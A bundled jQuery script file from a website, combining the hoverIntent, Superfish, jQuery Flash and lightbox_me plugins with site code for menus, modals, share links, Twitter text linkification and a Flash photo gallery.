		// instantiate variables
		// cX, cY = current X and Y position of mouse, updated by mousemove event
		// pX, pY = previous X and Y position of mouse, set by mouseover and polling interval
		var cX, cY, pX, pY;

		// A private function for getting mouse position
		var track = function(ev) {
			cX = ev.pageX;
			cY = ev.pageY;
		};

		// A private function for comparing current and previous mouse position
		var compare = function(ev,ob) {
			ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t);
			// compare mouse positions to see if they've crossed the threshold
			if ( ( Math.abs(pX-cX) + Math.abs(pY-cY) ) < cfg.sensitivity ) {
				$(ob).unbind("mousemove",track);
				// set hoverIntent state to true (so mouseOut can be called)
				ob.hoverIntent_s = 1;
				return cfg.over.apply(ob,[ev]);
			} else {
				// set previous coordinates for next time
				pX = cX; pY = cY;
				// use self-calling timeout, guarantees intervals are spaced out properly (avoids JavaScript timer bugs)
				ob.hoverIntent_t = setTimeout( function(){compare(ev, ob);} , cfg.interval );
			}
		};

		// A private function for delaying the mouseOut function
		var delay = function(ev,ob) {
			ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t);
			ob.hoverIntent_s = 0;
			return cfg.out.apply(ob,[ev]);
		};

		// A private function for handling mouse 'hovering'
		var handleHover = function(e) {
			// next three lines copied from jQuery.hover, ignore children onMouseOver/onMouseOut
			var p = (e.type == "mouseover" ? e.fromElement : e.toElement) || e.relatedTarget;
			while ( p && p != this ) { try { p = p.parentNode; } catch(e) { p = this; } }
			if ( p == this ) { return false; }

			// copy objects to be passed into t (required for event object to be passed in IE)
			var ev = jQuery.extend({},e);
			var ob = this;

			// cancel hoverIntent timer if it exists
			if (ob.hoverIntent_t) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); }

			// else e.type == "onmouseover"
			if (e.type == "mouseover") {
				// set "previous" X and Y position based on initial entry point
				pX = ev.pageX; pY = ev.pageY;
				// update "current" X and Y position based on mousemove
				$(ob).bind("mousemove",track);
				// start polling interval (self-calling timeout) to compare mouse coordinates over time
				if (ob.hoverIntent_s != 1) { ob.hoverIntent_t = setTimeout( function(){compare(ev,ob);} , cfg.interval );}

			// else e.type == "onmouseout"
			} else {
				// unbind expensive mousemove event
				$(ob).unbind("mousemove",track);
				// if hoverIntent state is true, then call the mouseOut function after the specified delay
				if (ob.hoverIntent_s == 1) { ob.hoverIntent_t = setTimeout( function(){delay(ev,ob);} , cfg.timeout );}
			}
		};

		// bind the function to the two event listeners
		return this.mouseover(handleHover).mouseout(handleHover);
	};
	
})(jQuery);


/*
 * Superfish v1.4.8 - jQuery menu widget
 * Copyright (c) 2008 Joel Birch
 *
 * Dual licensed under the MIT and GPL licenses:
 * 	http://www.opensource.org/licenses/mit-license.php
 * 	http://www.gnu.org/licenses/gpl.html
 *
 * CHANGELOG: http://users.tpg.com.au/j_birch/plugins/superfish/changelog.txt
 */

;(function($){
	$.fn.superfish = function(op){

		var sf = $.fn.superfish,
			c = sf.c,
			$arrow = $(['<span class="',c.arrowClass,'"> &#187;</span>'].join('')),
			over = function(){
				var $$ = $(this), menu = getMenu($$);
				clearTimeout(menu.sfTimer);
				$$.showSuperfishUl().siblings().hideSuperfishUl();
			},
			out = function(){
				var $$ = $(this), menu = getMenu($$), o = sf.op;
				clearTimeout(menu.sfTimer);
				menu.sfTimer=setTimeout(function(){
					o.retainPath=($.inArray($$[0],o.$path)>-1);
					$$.hideSuperfishUl();
					if (o.$path.length && $$.parents(['li.',o.hoverClass].join('')).length<1){over.call(o.$path);}
				},o.delay);	
			},
			getMenu = function($menu){
				var menu = $menu.parents(['ul.',c.menuClass,':first'].join(''))[0];
				sf.op = sf.o[menu.serial];
				return menu;
			},
			addArrow = function($a){ $a.addClass(c.anchorClass).append($arrow.clone()); };
			
		return this.each(function() {
			var s = this.serial = sf.o.length;
			var o = $.extend({},sf.defaults,op);
			o.$path = $('li.'+o.pathClass,this).slice(0,o.pathLevels).each(function(){
				$(this).addClass([o.hoverClass,c.bcClass].join(' '))
					.filter('li:has(ul)').removeClass(o.pathClass);
			});
			sf.o[s] = sf.op = o;
			
			$('li:has(ul)',this)[($.fn.hoverIntent && !o.disableHI) ? 'hoverIntent' : 'hover'](over,out).each(function() {
				if (o.autoArrows) addArrow( $('>a:first-child',this) );
			})
			.not('.'+c.bcClass)
				.hideSuperfishUl();
			
			var $a = $('a',this);
			$a.each(function(i){
				var $li = $a.eq(i).parents('li');
				$a.eq(i).focus(function(){over.call($li);}).blur(function(){out.call($li);});
			});
			o.onInit.call(this);
			
		}).each(function() {
			var menuClasses = [c.menuClass];
			if (sf.op.dropShadows  && !($.browser.msie && $.browser.version < 7)) menuClasses.push(c.shadowClass);
			$(this).addClass(menuClasses.join(' '));
		});
	};

	var sf = $.fn.superfish;
	sf.o = [];
	sf.op = {};
	sf.IE7fix = function(){
		var o = sf.op;
		if ($.browser.msie && $.browser.version > 6 && o.dropShadows && o.animation.opacity!=undefined)
			this.toggleClass(sf.c.shadowClass+'-off');
		};
	sf.c = {
		bcClass     : 'sf-breadcrumb',
		menuClass   : 'sf-js-enabled',
		anchorClass : 'sf-with-ul',
		arrowClass  : 'sf-sub-indicator',
		shadowClass : 'sf-shadow'
	};
	sf.defaults = {
		hoverClass	: 'sfHover',
		pathClass	: 'overideThisToUse',
		pathLevels	: 1,
		delay		: 800,
		animation	: {opacity:'show'},
		speed		: 'normal',
		autoArrows	: true,
		dropShadows : true,
		disableHI	: false,		// true disables hoverIntent detection
		onInit		: function(){}, // callback functions
		onBeforeShow: function(){},
		onShow		: function(){},
		onHide		: function(){}
	};
	$.fn.extend({
		hideSuperfishUl : function(){
			var o = sf.op,
				not = (o.retainPath===true) ? o.$path : '';
			o.retainPath = false;
			var $ul = $(['li.',o.hoverClass].join(''),this).add(this).not(not).removeClass(o.hoverClass)
					.find('>ul').hide().css('visibility','hidden');
			o.onHide.call($ul);
			return this;
		},
		showSuperfishUl : function(){
			var o = sf.op,
				sh = sf.c.shadowClass+'-off',
				$ul = this.addClass(o.hoverClass)
					.find('>ul:hidden').css('visibility','visible');
			sf.IE7fix.call($ul);
			o.onBeforeShow.call($ul);
			$ul.animate(o.animation,o.speed,function(){ sf.IE7fix.call($ul); o.onShow.call($ul); });
			return this;
		}
	});

})(jQuery);


// Patched to not encode URI's for SSP
(function(){var $$;$$=jQuery.fn.flash=function(htmlOptions,pluginOptions,replace,update){var block=replace||$$.replace;pluginOptions=$$.copy($$.pluginOptions,pluginOptions);if(!$$.hasFlash(pluginOptions.version)){if(pluginOptions.expressInstall&&$$.hasFlash(6,0,65)){var expressInstallOptions={flashvars:{MMredirectURL:location,MMplayerType:'PlugIn',MMdoctitle:jQuery('title').text()}};}else if(pluginOptions.update){block=update||$$.update;}else{return this;}}htmlOptions=$$.copy($$.htmlOptions,expressInstallOptions,htmlOptions);return this.each(function(){block.call(this,$$.copy(htmlOptions));});};$$.copy=function(){var options={},flashvars={};for(var i=0;i<arguments.length;i++){var arg=arguments[i];if(arg==undefined)continue;jQuery.extend(options,arg);if(arg.flashvars==undefined)continue;jQuery.extend(flashvars,arg.flashvars);}options.flashvars=flashvars;return options;};$$.hasFlash=function(){if(/hasFlash\=true/.test(location))return true;if(/hasFlash\=false/.test(location))return false;var pv=$$.hasFlash.playerVersion().match(/\d+/g);var rv=String([arguments[0],arguments[1],arguments[2]]).match(/\d+/g)||String($$.pluginOptions.version).match(/\d+/g);for(var i=0;i<3;i++){pv[i]=parseInt(pv[i]||0);rv[i]=parseInt(rv[i]||0);if(pv[i]<rv[i])return false;if(pv[i]>rv[i])return true;}return true;};$$.hasFlash.playerVersion=function(){try{try{var axo=new ActiveXObject('ShockwaveFlash.ShockwaveFlash.6');try{axo.AllowScriptAccess='always';}catch(e){return'6,0,0';}}catch(e){}return new ActiveXObject('ShockwaveFlash.ShockwaveFlash').GetVariable('$version').replace(/\D+/g,',').match(/^,?(.+),?$/)[1];}catch(e){try{if(navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin){return(navigator.plugins["Shockwave Flash 2.0"]||navigator.plugins["Shockwave Flash"]).description.replace(/\D+/g,",").match(/^,?(.+),?$/)[1];}}catch(e){}}return'0,0,0';};$$.htmlOptions={height:240,flashvars:{},pluginspage:'http://www.adobe.com/go/getflashplayer',src:'#',type:'application/x-shockwave-flash',width:320};$$.pluginOptions={expressInstall:false,update:true,version:'6.0.65'};$$.replace=function(htmlOptions){this.innerHTML='<div class="alt">'+this.innerHTML+'</div>';jQuery(this).addClass('flash-replaced').prepend($$.transform(htmlOptions));};$$.update=function(htmlOptions){var url=String(location).split('?');url.splice(1,0,'?hasFlash=true&');url=url.join('');var msg='<p>This content requires the Flash Player. <a href="http://www.adobe.com/go/getflashplayer">Download Flash Player</a>. Already have Flash Player? <a href="'+url+'">Click here.</a></p>';this.innerHTML='<span class="alt">'+this.innerHTML+'</span>';jQuery(this).addClass('flash-update').prepend(msg);};function toAttributeString(){var s='';for(var key in this)if(typeof this[key]!='function')s+=key+'="'+this[key]+'" ';return s;};function toFlashvarsString(){var s='';for(var key in this)if(typeof this[key]!='function')s+=key+'='+/*encodeURIComponent(*/this[key]/*)*/+'&';return s.replace(/&$/,'');};$$.transform=function(htmlOptions){htmlOptions.toString=toAttributeString;if(htmlOptions.flashvars)htmlOptions.flashvars.toString=toFlashvarsString;return'<embed '+String(htmlOptions)+'/>';};if(window.attachEvent){window.attachEvent("onbeforeunload",function(){__flash_unloadHandler=function(){};__flash_savedUnloadHandler=function(){};});}})();

/*
 * Copyright (C) 1999-2009 Jive Software. All rights reserved.
 *
 * This software is the proprietary information of Jive Software. Use is subject to license terms.
 */

/*
* $ lightbox_me
* By: Buck Wilson
* Version : 2.0
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
*     http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/


(function($) {

    $.fn.lightbox_me = function(options) {



        return this.each(function() {

            var
                opts = $.extend({}, $.fn.lightbox_me.defaults, options),
                $overlay = $('<div class="' + opts.classPrefix + '_overlay"/>'),
                $self = $(this),
                $iframe = $('<iframe id="foo" style="z-index: ' + (opts.zIndex + 1) + '; display: none; border: none; margin: 0; padding: 0; position: absolute; width: 100%; height: 100%; top: 0; left: 0;"/>'),
                ie6 = ($.browser.msie && $.browser.version < 7);


            /*----------------------------------------------------
               DOM Building
            ---------------------------------------------------- */
            if (ie6) {
                var src = /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank';
                $iframe.attr('src', src);
                $('body').append($iframe);
            } // iframe shim for ie6, to hide select elements
            $('body').append($self).append($overlay);


            /*----------------------------------------------------
               CSS stuffs
            ---------------------------------------------------- */

            // set css of the modal'd window

            setSelfPosition();
            $self.css({left: '50%', marginLeft: ($self.outerWidth() / 2) * -1,  zIndex: (opts.zIndex + 3) });


            // set css of the overlay

            setOverlayHeight(); // pulled this into a function because it is called on window resize.
            $overlay
                    .css({ position: 'absolute', width: '100%', top: 0, left: 0, right: 0, bottom: 0, zIndex: (opts.zIndex + 2), display: 'none' })
                    .css(opts.overlayCSS);


            /*----------------------------------------------------
               Animate it in.
            ---------------------------------------------------- */

            $overlay.fadeIn(opts.overlaySpeed, function() {
                $self[opts.appearEffect](opts.lightboxSpeed, function() { setOverlayHeight(); opts.onLoad()});
            });



            /*----------------------------------------------------
               Bind Events
            ---------------------------------------------------- */

            $(window).resize(setOverlayHeight)
                     .resize(setSelfPosition)
                     .scroll(setSelfPosition)
                     .keypress(observeEscapePress);
            $self.find(opts.closeSelector).add($overlay).click(function() { closeLightbox(); return false; });
            $self.bind('close', closeLightbox);
            $self.bind('resize', setSelfPosition);

            

            /*--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
              -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- */


            /*----------------------------------------------------
               Private Functions
            ---------------------------------------------------- */

            /* Remove or hide all elements */
            function closeLightbox() {
                if (opts.destroyOnClose) {
                    $self.add($overlay).remove();
                } else {
                    $self.add($overlay).hide();
                }

                $iframe.remove();

                $(window).unbind('resize', setOverlayHeight);
                $(window).unbind('resize', setSelfPosition);

                opts.onClose();
            }


            /* Function to bind to the window to observe the escape key press */
            function observeEscapePress(e) {
                if(e.keyCode == 27 || (e.DOM_VK_ESCAPE == 27 && e.which==0)) closeLightbox();
            }


            /* Set the height of the overlay
                    : if the document height is taller than the window, then set the overlay height to the document height.
                    : otherwise, just set overlay height: 100%
            */
            function setOverlayHeight() {
                if ($(window).height() < $(document).height()) {
                    $overlay.css({height: $(document).height() + 'px'});
                } else {
                    $overlay.css({height: '100%'});
                    if (ie6) {$('html,body').css('height','100%'); } // ie6 hack for height: 100%; TODO: handle this in IE7
                }
            }


            /* Set the position of the modal'd window ($self)
                    : if $self is taller than the window, then make it absolutely positioned
                    : otherwise fixed
            */
            function setSelfPosition() {
                var s = $self[0].style;

                if (($self.height() + 80  >= $(window).height()) && ($self.css('position') != 'absolute' || ie6)) {
                    var topOffset = $(document).scrollTop() + 40;
                    $self.css({position: 'absolute', top: topOffset + 'px', marginTop: 0})
                    if (ie6) {
                        s.removeExpression('top');
                    }
                } else if ($self.height()+ 80  < $(window).height()) {
                    if (ie6) {
                        s.position = 'absolute';
                        if (opts.centered) {
                            s.setExpression('top', '(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"')
                            s.marginTop = 0;
                        } else {
                            var top = (opts.modalCSS && opts.modalCSS.top) ? parseInt(opts.modalCSS.top) : 0;
                            s.setExpression('top', '((blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"')
                        }
                    } else {
                        if (opts.centered) {
                            $self.css({ position: 'fixed', top: '50%', marginTop: ($self.outerHeight() / 2) * -1})
                        } else {
                            $self.css({ position: 'fixed'}).css(opts.modalCSS);
                        }

                    }
                }
            }

        });



    };


    $.fn.lightbox_me.defaults = {

        // animation
        appearEffect: "fadeIn",
        overlaySpeed: 300,
        lightboxSpeed: "fast",

        // close
        closeSelector: ".close",
        closeClick: true,
        closeEsc: true,

        // behavior
        destroyOnClose: false,

        // callbacks
        onLoad: function() {},
        onClose: function() {},

        // style
        classPrefix: 'lb',
        zIndex: 999,
        centered: false,
        modalCSS: {top: '40px'},
        overlayCSS: {background: 'black', opacity: .6}
    }


})(jQuery);

// Used to parse Twitter text and convert/create hyperlinks
String.prototype.parseURL = function() {
	return this.replace(/[A-Za-z]+:\/\/[A-Za-z0-9-_]+\.[A-Za-z0-9-_:%&\?\/.=]+/gi, function(url) {
		return url.link(url);
	});
};

String.prototype.parseUsername = function() {
	return this.replace(/[@]+[A-Za-z0-9-_]+/gi, function(u) {
		var username = u.replace("@","")
		return u.link("http://twitter.com/"+username);
	});
};

String.prototype.parseHashtag = function() {
	return this.replace(/[#]+[A-Za-z0-9-_]+/gi, function(t) {
		var tag = t.replace("#","%23")
		return t.link("http://search.twitter.com/search?q="+tag);
	});
};

jQuery( document ).ready(function(){

	// Slide images in hidden frames up a bit if they need it
	jQuery( "div.image img" ).each( function( idx, img ){
		var image = jQuery( img );
		var halfHeight = ( image.height() / 5.5 );
		if ( halfHeight > 25 )
			image.css( "margin-top", "-" + halfHeight + "px" );
	} );

	// Calendar modal window
	if ( jQuery( "#event-calendar-link" ).length ){
		jQuery( "#event-calendar-link" ).click( function(){
			jQuery( "#calendar-options" ).lightbox_me( { centered: true } );
			return false;
		} );
  }
	
	/* UI Tabs for #banner */
	if ( jQuery( '#banner > ul' ).length ){
	  jQuery( '#banner > ul' ).tabs( { fx: { opacity: 'toggle', duration: 200 } } ).tabs( 'rotate', 10000 );
  }

  /* Pufferfish */
  if ( jQuery( "#site-credits" ).length ){
    jQuery( '#site-credits a' ).append( '<span class="hover"></span>' );
  	jQuery( '#site-credits a' ).hover( function() {
  		jQuery( 'span.hover', this ).stop().animate( {
  			'opacity': 1
  		}, 400, 'easeOutSine' )
  	}, function(){
  		jQuery( 'span.hover', this ).stop().animate( {
        'opacity': 0
  		}, 2000, 'easeOutExpo' )
  	})
	}
  
  /* Email Address De-obfuscation */
  if ( jQuery( "span.addy" ).length ){
    jQuery( "span.addy" ).each( function( index, span ){
      addy = span.innerHTML.replace( " -at- ", "@" );
      addy = addy.replace( " -dot- ", "." );
      addy = addy.replace( "[\(]", "" );
      addy = addy.replace( "[\)]", "" );
      span.innerHTML = '<a href="mailto:' + addy + '">Email Us</a>';
    } );
  };

  /* Auto Toggle w/ Hints */
  /*
  jQuery( "input#header-query" ).toggleVal( {
    focusClass: "focus"
  } );
  
  /* Cycle Slideshow */
  /*
  jQuery.fn.cycle.defaults.speed = 4000;
  jQuery( '#slideshow' ).cycle( {
		fx:      'fade',
		easing:  'easeInOutExpo',
		timeout: 3000
	} );
  */

  /* FancyBox */
  if( jQuery( "a.fancy" ).length ){
    jQuery( "a.fancy" ).fancybox( {
      'frameHeight':    430,
      'frameWidth':     730,
      'overlayShow':    true,
      'overlayOpacity': 0.3
    } );
  };

  /* Superfish */
  if ( jQuery.fn.superfish ){
    jQuery( "nav ul" ).superfish( {
      animation: { opacity: 'show' },
      autoArrows:  false,
      dropShadows: false
    } );
  };
   
  /* addthis */
  if ( jQuery( "#share" ).length ){
    link = jQuery( "a.share_twitter" );
    link.attr( "href", "http://twitter.com/home?status=" + encodeURIComponent( link.attr( "title" ) + " " + link.attr( "href" ) ) );
  
    link = jQuery( "a.share_facebook" );
    link.attr( "href", "http://www.facebook.com/sharer.php?t=" + encodeURIComponent( link.attr( "title" ) ) + "&u=" + encodeURIComponent( link.attr( "href" ) ) );

    jQuery( "#share .addthis_button" ).each( function(){
      addthis.button( ".addthis_button" );
      jQuery( this ).attr( "href", "" );
      jQuery( this ).click( function(){ "return addthis_open( this, '', '" + jQuery( this ).attr( 'addthis:url' ) + "', '" + jQuery( this ).attr( 'addthis:title' ) + "' );" } );
    } );
  }
  //http://www.facebook.com/sharer.php?t=BizBOXTV.com%20-%20YYC4Haiti%20%40%20Flames%20Central!&u=http%3A%2F%2Fbizboxtv.com%2Fchannels%2Fthe-home-channel%2Fvideos%2F91
   
  /* Twittttttttttttttttttttttter */
  if ( jQuery( "#twitter" ).length ){
    jQuery( "#twitter" ).hide();
    result = jQuery.get( "/twitter/recent", {}, 
      function( response ){
        if ( response.length > 1 ){
          jQuery( "#twitter" ).append( response );
          jQuery( ".twitter-message .twitter-status .raw" ).each( function( index, msg ){
            var status = jQuery( msg ).html().parseURL().parseUsername().parseHashtag();
            jQuery( msg ).html( status );
          } );

          jQuery( "#loading" ).hide();
          jQuery( "#twitter" ).slideDown();
        }
      }
    );
  };

  /* jQuery Flash Object */
  if ( jQuery( "#ssp_photo_viewer" ).length ){
    var gallery_id = jQuery( "#ssp_photo_viewer" ).attr( "gallery_id" );
    jQuery( "#ssp_photo_viewer" ).flash( {
      src: "/flash/ssp.swf",
      width: 780,
      height: 640,
      menu: "flash",
      flashvars: { xmlfile: "http://fashioncentral.ca/ssp_director/images.php?album=" + gallery_id, xmlfiletype: "Director" }
    } );
  };

} );